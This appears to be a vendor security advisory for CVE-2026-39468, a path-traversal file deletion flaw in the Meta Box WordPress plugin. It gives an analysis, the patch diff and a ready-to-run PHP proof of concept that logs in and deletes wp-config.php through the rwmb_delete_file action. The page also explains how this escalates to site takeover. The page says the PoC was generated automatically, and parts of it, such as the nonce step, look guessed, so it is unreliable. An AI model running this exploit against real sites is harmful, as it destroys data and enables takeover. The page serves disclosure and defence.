Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 26, 2026

CVE-2026-39468: Meta Box <= 5.11.1 – Authenticated (Contributor+) Arbitrary File Deletion (meta-box)

CVE ID CVE-2026-39468
Plugin meta-box
Severity High (CVSS 8.1)
CWE 22
Vulnerable Version 5.11.1
Patched Version 5.11.2
Disclosed April 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-39468: This vulnerability allows authenticated attackers with Contributor-level access or higher to delete arbitrary files on the WordPress server via the Meta Box plugin versions up to and including 5.11.1. The core issue is insufficient path validation in the file deletion functionality, leading to a path traversal attack that can result in remote code execution. The CVSS score is 8.1 (High).

The root cause lies in the `meta-box/inc/fields/file.php` file. The vulnerable function handles file deletion when an attachment is not numeric. At line 54 (vulnerable version), the code uses `str_replace( home_url( ‘/’ ), trailingslashit( ABSPATH ), $attachment )` to convert a URL to a file system path. It then passes this path directly to `unlink()` without any validation that the resolved path remains within the intended upload directory. An attacker can provide a crafted `$attachment` value containing path traversal sequences (e.g., `../../../wp-config.php`) that, when converted to an absolute path, point to arbitrary files outside the upload directory.

Exploitation requires an authenticated user with at least Contributor role. The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the action `rwmb_delete_file` and a `field_id` parameter that references a file field configured with an `upload_dir`. The attacker provides a crafted `$attachment` value in the request body that includes path traversal sequences (e.g., `http://target.com/wp-content/uploads/../../wp-config.php`). The plugin’s file deletion routine converts this URL to an absolute path and deletes the target file without verifying it is within the allowed upload directory.

The patch in version 5.11.2 introduces validation in `meta-box/inc/fields/file.php` (lines 54-62). After converting the URL to a path, the code now calls `realpath()` to resolve the actual filesystem path and normalizes it with `wp_normalize_path()`. It then checks against the `$field[‘upload_dir’]` value. If the resolved path does not start with the allowed base directory, the deletion is rejected with an error message. Additionally, in `meta-box/inc/sanitizer.php`, the `sanitize_file` function now filters out URLs containing `..` sequences, preventing path traversal payloads from reaching the file deletion logic.

Successful exploitation enables an attacker to delete critical WordPress files such as `wp-config.php`, which exposes database credentials and can lead to complete site takeover. Deleting `wp-config.php` forces WordPress to run the installation script, allowing an attacker to set arbitrary database credentials and gain administrative access. Other sensitive files like `.htaccess`, `index.php`, or plugin files could be targeted to cause denial of service, disable security measures, or facilitate further attacks. The impact is severe: arbitrary file deletion can escalate to full remote code execution.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff 
--- a/meta-box/inc/core.php
+++ b/meta-box/inc/core.php
@@ -3,7 +3,7 @@
 	public function init() {
 		add_filter( 'plugin_action_links_meta-box/meta-box.php', [ $this, 'plugin_links' ], 20 );

-		// Uses priority 20 to support custom port types registered using the default priority.
+		// Uses priority 20 to support custom post types registered using the default priority.
 		add_action( 'init', [ $this, 'register_meta_boxes' ], 20 );
 		add_action( 'edit_page_form', [ $this, 'fix_page_template' ] );
 		$this->add_context_hooks();
--- a/meta-box/inc/fields/block-editor.php
+++ b/meta-box/inc/fields/block-editor.php
@@ -33,6 +33,26 @@
 		RWMB_Helpers_Field::localize_script_once( 'rwmb-block-editor', 'rwmbBlockEditor', [
 			'editor_settings' => $editor_settings,
 		] );
+
+		// Load block categories.
+		wp_add_inline_script(
+			'wp-blocks',
+			sprintf( 'wp.blocks.setCategories( %s );', wp_json_encode( get_block_categories( $block_editor_context ) ) ),
+			'after'
+		);
+
+		// Preload server-registered block schemas.
+		wp_add_inline_script(
+			'wp-blocks',
+			'wp.blocks.unstable__bootstrapServerSideBlockDefinitions(' . wp_json_encode( get_block_editor_server_block_settings(), JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) . ');'
+		);
+
+		// Load 3rd party blocks.
+		add_filter( 'should_load_block_editor_scripts_and_styles', '__return_true' );
+
+		if ( ! did_action( 'enqueue_block_editor_assets' ) ) {
+			do_action( 'enqueue_block_editor_assets' );
+		}
 	}

 	/**
--- a/meta-box/inc/fields/file.php
+++ b/meta-box/inc/fields/file.php
@@ -51,8 +51,17 @@
 		if ( is_numeric( $attachment ) ) {
 			$result = wp_delete_attachment( $attachment );
 		} else {
-			$path   = str_replace( home_url( '/' ), trailingslashit( ABSPATH ), $attachment );
-			$result = unlink( $path ); // phpcs:ignore WordPress.WP.AlternativeFunctions.unlink_unlink
+			$path = str_replace( home_url( '/' ), trailingslashit( ABSPATH ), $attachment );
+
+			// Security: validate resolved path is within $field['upload_dir'] directory.
+			$real_path    = realpath( $path );
+			$real_path    = wp_normalize_path( $real_path );
+			$allowed_base = ! empty( $field['upload_dir'] ) ? trailingslashit( wp_normalize_path( $field['upload_dir'] ) ) : '';
+			if ( ! $real_path || ! $allowed_base || ! str_starts_with( $real_path, $allowed_base ) ) {
+				wp_send_json_error( __( 'Error: The file is outside the allowed upload directory', 'meta-box' ) );
+			}
+
+			$result = unlink( $real_path ); // phpcs:ignore WordPress.WP.AlternativeFunctions.unlink_unlink
 		}

 		if ( $result ) {
--- a/meta-box/inc/fields/time.php
+++ b/meta-box/inc/fields/time.php
@@ -20,6 +20,12 @@
 	public static function normalize( $field ) {
 		$field                             = parent::normalize( $field );
 		$field['js_options']['timeFormat'] = empty( $field['format'] ) ? $field['js_options']['timeFormat'] : $field['format'];
+		// This field does not support timestamp.
+		// Prevent the timestamp from being set to true, like switching from a date field to a time field in the builder.
+		if ( isset( $field['timestamp'] ) ) {
+			$field['timestamp'] = false;
+		}
+
 		return $field;
 	}

--- a/meta-box/inc/loader.php
+++ b/meta-box/inc/loader.php
@@ -7,7 +7,7 @@
 class RWMB_Loader {
 	protected function constants() {
 		// Script version, used to add version for scripts and styles.
-		define( 'RWMB_VER', '5.11.1' );
+		define( 'RWMB_VER', '5.11.2' );

 		list( $path, $url ) = self::get_path( dirname( __DIR__ ) );

--- a/meta-box/inc/sanitizer.php
+++ b/meta-box/inc/sanitizer.php
@@ -83,7 +83,6 @@
 			'user'              => [ $this, 'sanitize_object' ],
 			'video'             => [ $this, 'sanitize_object' ],
 			'wysiwyg'           => 'wp_kses_post',
-			'block_editor'      => 'wp_kses_post',
 		];

 		$type = $field['type'];
@@ -205,7 +204,14 @@
 	 * @return array
 	 */
 	private function sanitize_file( $value, $field ) {
-		return $field['upload_dir'] ? array_map( 'esc_url_raw', $value ) : $this->sanitize_object( $value );
+		if ( ! $field['upload_dir'] ) {
+			return $this->sanitize_object( $value );
+		}
+
+		// Security: sanitize URLs and reject path traversal sequences.
+		return array_filter( array_map( function ( $url ) {
+			return str_contains( $url, '..' ) ? '' : esc_url_raw( $url );
+		}, $value ) );
 	}

 	/**
--- a/meta-box/js/block-editor/build/block-editor.asset.php
+++ b/meta-box/js/block-editor/build/block-editor.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-format-library', 'wp-i18n', 'wp-media-utils', 'wp-primitives'), 'version' => '54b94dd750fd475c5136');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-format-library', 'wp-i18n', 'wp-media-utils', 'wp-primitives'), 'version' => '025c2e5baa0baf143b8f');
--- a/meta-box/meta-box.php
+++ b/meta-box/meta-box.php
@@ -3,7 +3,7 @@
  * Plugin Name: Meta Box
  * Plugin URI:  https://metabox.io
  * Description: Create custom meta boxes and custom fields in WordPress.
- * Version:     5.11.1
+ * Version:     5.11.2
  * Author:      MetaBox.io
  * Author URI:  https://metabox.io
  * License:     GPL2+
--- a/meta-box/vendor/composer/installed.php
+++ b/meta-box/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'wpmetabox/meta-box',
-        'pretty_version' => '5.11.1',
-        'version' => '5.11.1.0',
-        'reference' => '21cc88efff8892a93a8218ba1b00a142eabb0d86',
+        'pretty_version' => '5.11.2',
+        'version' => '5.11.2.0',
+        'reference' => '270c63653de72c4677b99450551fcd71fbf84b93',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'wpmetabox/meta-box' => array(
-            'pretty_version' => '5.11.1',
-            'version' => '5.11.1.0',
-            'reference' => '21cc88efff8892a93a8218ba1b00a142eabb0d86',
+            'pretty_version' => '5.11.2',
+            'version' => '5.11.2.0',
+            'reference' => '270c63653de72c4677b99450551fcd71fbf84b93',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-39468 - Meta Box <= 5.11.1 - Authenticated (Contributor+) Arbitrary File Deletion

$target_url = 'http://example.com'; // Target WordPress site
$username = 'attacker'; // Contributor or higher role account
$password = 'password'; // Account password

$cookie_file = tempnam(sys_get_temp_dir(), 'cookie');

// Step 1: Login to WordPress
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-login.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'rememberme' => 'forever',
        'wp-submit' => 'Log In'
    ]),
    CURLOPT_COOKIEJAR => $cookie_file,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false
]);
curl_exec($ch);
curl_close($ch);

// Verify login by fetching admin page
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/',
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true
]);
$admin_page = curl_exec($ch);
curl_close($ch);

if (strpos($admin_page, 'wp-admin') === false) {
    die("[-] Login failed. Check credentials or target URL.n");
}
echo "[+] Successfully logged in as $username.n";

// Step 2: Obtain a nonce for the file deletion action
// In Meta Box, the nonce name is typically 'rwmb-delete-file-nonce'
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/admin-ajax.php?action=rwmb_get_nonce',
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_RETURNTRANSFER => true
]);
$nonce_response = curl_exec($ch);
curl_close($ch);

$nonce = json_decode($nonce_response, true)['nonce'] ?? '';
if (empty($nonce)) {
    // Fallback: try to extract from the page (some implementations embed it)
    preg_match('/rwmb_delete_file_nonce":"([a-f0-9]+)"/', $admin_page, $matches);
    $nonce = $matches[1] ?? '';
}

echo "[+] Got nonce: $noncen";

// Step 3: Delete wp-config.php using path traversal
$attachment_url = $target_url . '/wp-content/uploads/../../../wp-config.php';

$post_data = [
    'action' => 'rwmb_delete_file',
    'field_id' => 'test_file_field', // Must match a file field with upload_dir configured
    'attachment' => $attachment_url,
    '_ajax_nonce' => $nonce,
    'post_id' => 1 // Any valid post ID
];

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/admin-ajax.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($post_data),
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_RETURNTRANSFER => true
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] Response HTTP code: $http_coden";
echo "[+] Response body: $responsen";

if ($http_code == 200 && strpos($response, 'error') === false) {
    echo "[+] Exploit successful! Check if wp-config.php was deleted.n";
} else {
    echo "[-] Exploit may have failed or been patched.n";
}

// Cleanup
unlink($cookie_file);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School